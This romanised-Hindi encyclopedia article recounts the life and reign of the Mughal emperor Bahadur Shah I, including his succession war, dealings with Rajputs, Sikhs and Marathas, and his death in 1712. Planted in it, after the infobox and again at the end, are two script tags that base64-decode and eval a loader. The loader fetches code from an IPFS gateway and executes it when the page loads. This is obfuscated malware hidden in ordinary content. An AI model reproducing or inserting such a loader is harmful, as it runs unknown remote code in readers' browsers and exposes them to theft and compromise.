बहादुर शाह प्रथम

bahadur shah pratham
|200px|center
poora nam	'sahib-e-quran muajzam shah alamagir sani abu nasir saiyad kutubabuddin abul muzaffar muhammad muajzam shah alam bahadur shah pratham padashah gazi (khuld manjil)
any nam	'shahalam pratham' athava 'alamashah pratham'
janm	14 aktoobar, sanh 1643
janm bhoomi	burahanapur, bharat
mrityu tithi	26 faravari, 1712 ee.
mrityu sthan	lahaur
pita/mata	aurangazeb, baee begam
pati/patni	nizam baee aur ath any
santan	ath putr aur ek putri
upadhi	'shahazada muajzam'
rajy sima	uttar aur madhy bharat
shasan kal	22 march, 1707 ee. se 27 faravari, 1712 ee. tak
sha. avadhi	5 varsh
rajyabhishek	19 joon, 1707 ko dilli mean rajyabhishek hua.
dharmik manyata	islam
poorvadhikari	aurangazeb
uttaradhikari	bahadur shah zafar
rajagharana	mugal
maqabara	moti masjid, dilli
sanbandhit lekh	mugal kal

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahadur shah pratham (aangrezi: Bahadur Shah I, janm- 14 aktoobar, 1643, burahanapur; mrityu- 26 faravari, 1712, lahaur) dilli ka satavaan mugal badashah (1707-1712 ee.) tha. 'shahazada muajzam' kahalane vala bahadurashah, badashah aurangazeb ka doosara putr tha. apane pita ke bhaee aur pratidvandvi shahashuja ke sath b de bhaee ke mil jane ke bad shahazada muajzam hi aurangazeb ka sanbhavi uttaradhikari tha. bahadur shah pratham ko 'shahalam pratham' ya 'alamashah pratham' ke nam se bhi jana jata hai. badashah bahadur shah pratham ke char putr the- jahaandarashah, ajimushshan, rafiushshan aur jahanashah.

qabul ka soobedar

bahadur shah pratham ko sanh 1663 ee. mean dakshin ke dakkan pathar kshetr aur madhy bharat mean pita ka pratinidhi banakar bheja gaya. san1683-1684 ee. mean unhoanne dakshin banbee (vartaman muanbee) gova ke purtagali ilaqoan mean marathoan ke khilaf sena ka netritv kiya, lekin purtagaliyoan ki sahayata n milane ki sthiti mean unhean pichhe hatana p da. ath varsh tak tang kie jane ke bad unhean unake pita ne 1699 mean qabul (vartaman afaganistan) ka soobedar niyukt kiya.

uttaradhikar ka yuddh

aurangazeb ki mrityu ke bad usake 63 varshiy putr 'muajzam' (shahalam pratham) ne lahaur ke uttar mean sthit 'shahadaula' namak pul par mee, 1707 mean 'bahadur shah' ke nam se apane ko samrat ghoshit kiya. booandi ke 'budhasianh ha da' tatha 'ambar' ke vijay kachhavaha ko usane pahale se hi apane or akarshit kar liya tha. unake madhyam se use b di sankhya mean rajapootoan ka samarthan prapt ho gaya. uttaradhikar ko lekar bahadurashah pratham evan amajashah mean samoogadh ke samip 'jajoo' namak sthan par 18 joon, 1708 ko yuddh hua, jisamean ajamashah tatha usake do bete 'bidar bakht' tatha 'valajah' mare gaye. bahadurashah pratham ko apane chhote bhaee 'kamabakhsh' se bhi mugal sianhasan ke lie l daee l dani p di. kamabakhsh ne 13 janavari, 1709 ko haidarabad ke najadik bahadushah pratham ke viruddh yuddh kiya. yuddh mean parajit hone ke uparant kamabakhsh ki mrityu ho gee.

sabase vriddh mugal shasak

apani vijay ke bad bahadur shah pratham ne apane samarthakoan ko nee padaviyaan tatha oochean darje pradan kie. munim khaan ko vazir niyukt kiya gaya. aurangazeb ke vazir, asad khaan ko 'vakil-e-mutalaq' ka pad diya tha, tatha usake bete zulfiqar khaan ko mir bakhshi banaya gaya. bahadurashah pratham gaddi par baithane vala sabase vriddh mugal shasak tha. jab vah gaddi par baitha, to us samay usaki umr 63 varsh thi. vah atyant udar, alasi tatha udasin vyakti tha. itihasakar khafi khaan ne kaha hai ki, badashah rajakiy karyoan mean itana adhik laparavah tha, ki log use "shahe bekhabar" kahane lage the.

• bahadur shah pratham ke shasan kal mean darabar mean shadyantr badhane laga. bahadu shah pratham shiya tha, aur us karan darabar mean do dal vikasit ho ge the-(1.) eerani dal (2.) turani dal. eerani dal 'shiya mat' ko manane vale the, jisamean asad khaan tatha usake bete julphikar khaan jaise saradar the. turani dal 'sunni mat' ke samarthak the, jisamean 'chinakilich khaan tatha firoz gaziuddin jang jaise log the.

rajapootoan se sandhi

bahadu shah pratham ne uttaradhikar ke yuddh ke samapt hone ke bad sarvapratham rajapootana ki or rukh kiya. usane marava d ke raja ajit sianh ko parajat kar, use 3500 ka manasab evan maharaj ki upadhi pradan ki, parantu bahadur shah pratham ke dakshin jane par ajit sianh, durgadas evan jayasianh kachhavaha ne meva d ke maharaj amarajit sianh ke netritv mean apane ko svatantr ghoshit kar liya aur rajapootana sangh ka gathan kiya. bahadur shah pratham ne in rajaoan se sangharsh karane se behatar sandhi karana uchit samajha aur usane in shasakoan ko manyata de di.

sikkhoan se sangharsh

8 joon 1707 ee. agara ke pas jaanjoo ke pas l daee l di gee, jisamean bahadurashah ki jit huee. is l daee mean guru govind sianh ki hamadardi apane purane mitr bahadurashah ke sath thi. kaha jata hai ki guru ji ne apane sainikoan dvara jaanjoo ki l daee mean bahadurashah ka sath diya, unaki madad ki. isase badashah bahadurashah ki jit huee. badashah ne guru govind sianh ji ko agara bulaya. usane ek b di qimati siropayo (samman ke vastr) ek dhukadhuki (gardan ka gahana) jisaki qimat 60 hazar rupaye thi, guruji ko bheant ki. mugaloan ke sath ek yug purane matabhed samapt hone ki sambhavana thi. guru sahab ki taraph se 2 aktoobar 1707 ee. aur dhaulapur ki sangat taraph likhe hukmanama ke kuchh shabdoan se lagata hai ki guruji ki badashah bahadurashah ke sath mitratapoorvak batachit ho sakati thi. jisake khatm hone se guru ji anandapur sahib vapas a jaanege, jahaan unako as thi ki khalasa laut ke ikattha ho sakega. par halat ke chakkar mean unako dakshin disha mean pahuancha diya. jahaan abhi batachit hi chal rahi thi. badashah bahadurashah kachhavaha rajapootoan ke viruddh karravaee karane kooch kiya tha ki usake bhaee kamabakhsh ne bagavat kar di. bagavat dabane ke lie badashah dakshin ki taraf chala aur vinati karake guru ji ko bhi sath le gaya. panjab mean 1708 ee. mean guru govind sianh ki mutyu ke bad sikkhoan ne banda sianh ke netritv mean mugaloan ke viruddh vidroh kar diya. usane musalamanoan ke viruddh l dane ke lie panjab ke vibhinn hissoan se b di sankhya mean sikkhoan ko ikattha kiya tatha kaithal, samana, shahabad, ambala, kyoori tatha sadhaura par qabza kar liya. usaki sabase b di vijay sarahind ke garvanar najir khaan ke viruddh thi, jise usane harakar mar dala. usake bare mean kaha jata hai ki, usamean guru govind sianh ki atma ka nivas tha. usane svayan ko 'sachcha badashah' ghoshit kiya, apane takasal chalayian aur ek svatantr sikkh rajy ki sthapana ka prayatn kiya. banda ne sarahind, sonipat, sadhaura, evan uttar pradesh ke kee sthanoan par khoob lootapat ki. bahadur shah pratham ne sikh neta banda ko dand dene ke lie 26 joon, 1710 ko sadhaura mean ghera dala. yahaan se banda bhagakar lohagadh ke qile mean a gaya. bahadurashah ne lohagadh ko gherakar sikhoan se k da sangharsh karate hue, antatah durg par qabza kar liya. parantu qabze ke poorv hi banda pharar ho gaya. 1711 ee. mean mugaloan ne punah sarahind par adhikar kar liya. lohagadh ka qila guru govind sianh ne ambala ke uttar-poorv mean himalay ki taraee mean banaya tha. bahadur shah pratham ne bundela saradar 'chhatrasal' se mel-milap kar liya. chhatrasal ek nishthavan samant bana raha. badashah ne jat saradar choo daman se bhi dosti kar li. choo daman ne banda bahadur ke khilaf abhiyan mean badashah ka sath diya.

marathoan ke prati niti

bahadur shah pratham ko 'shahe bekhabar' kaha jata tha. rajapootoan ki bhaanti marathoan ke prati bhi bahadur shah pratham ki niti asthir rahi. bahadur shah pratham ki qaid se mukt shahoo ne aranbh mean to mugal adhipaty svikar kar liya, parantu jab bahadur shah pratham ne usake 'chauth' aur 'saradeshamukhi' vasool karane ke adhikar ko spashtataya svikar nahian kiya, tab usake saradaroan ne mugal simaoan par akraman karake mugaloan ke adhin shasakoan dvara mugal simaoan par bhi akraman karane ki galat paranpara ki nianv dali. is prakar mugaloan ki samasya ko bahadur shah pratham ne aur gambhir bana diya. bahadur shah pratham ne mirabakhshi ke pad par asin zulfiqar khaan ko dakkan ki soobedari pradan kar ek hi amir ko ek sath do mahattvapoorn pad pradan karane ki bhool ki. usake samay mean hi vazir ke pad ke samman mean vriddhi huee, jisake karan vazir ka pad prapt karane ki pratisparddha badhi.

upanam

bahadur shah pratham ke vishay mean prasiddh lekhak 'sar sidani ovan' ne likha hai ki, "yah antim mugal samrat tha, jisake vishay mean kuchh achchhe shabd kahe ja sakate haian. isake pashchath mugal samrajy ka tivragami aur poorn patan mugal samratoan ki rajanitik tuchchhata aur shaktihinata ka dyotak tha." sar sidani ovan ka kathan kafi had tak sahi jan p data hai, kyoanki ve mugal shasak jo apane aisho-aram mean hi doobe rahate the, jinhean shasan v samrajy ki koee chianta hi nahian thi, unako praja ne nimn namoan se pukarana prarambh kar diya tha-

• bahadurashah - shahe bekhabar
• jahaandarashah - lampat moorkh
• farrookhasiyar - ghrinit kayar
• muhammadashah - rangila

bahadur shah ki mrityu

bahadur shah pratham ke darabar mean 1711 mean ek dach pratinidhi shishtamandal 'jesua ketelar' ke netritv mean gaya. is shishtamandal ka darabar mean svagat kiya gaya. is svagat mean ek purtagali stri 'juliyani' ki mahattvapoorn bhoomika thi. usaki is bhoomika ke lie use 'bibi phidava' ki upadhi di gayi. 26 faravari, 1712 ko bahadur shah pratham ki mrityu ho gayi. mrityu ke pashchath usake charoan putroan, jahaandarashah, ajimushshan, rafiushshan aur jahanashah mean uttaradhikar ka yuddh aranbh ho gaya. phalatah bahadurashah ka shav ek mas tak daphanaya nahian ja saka.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>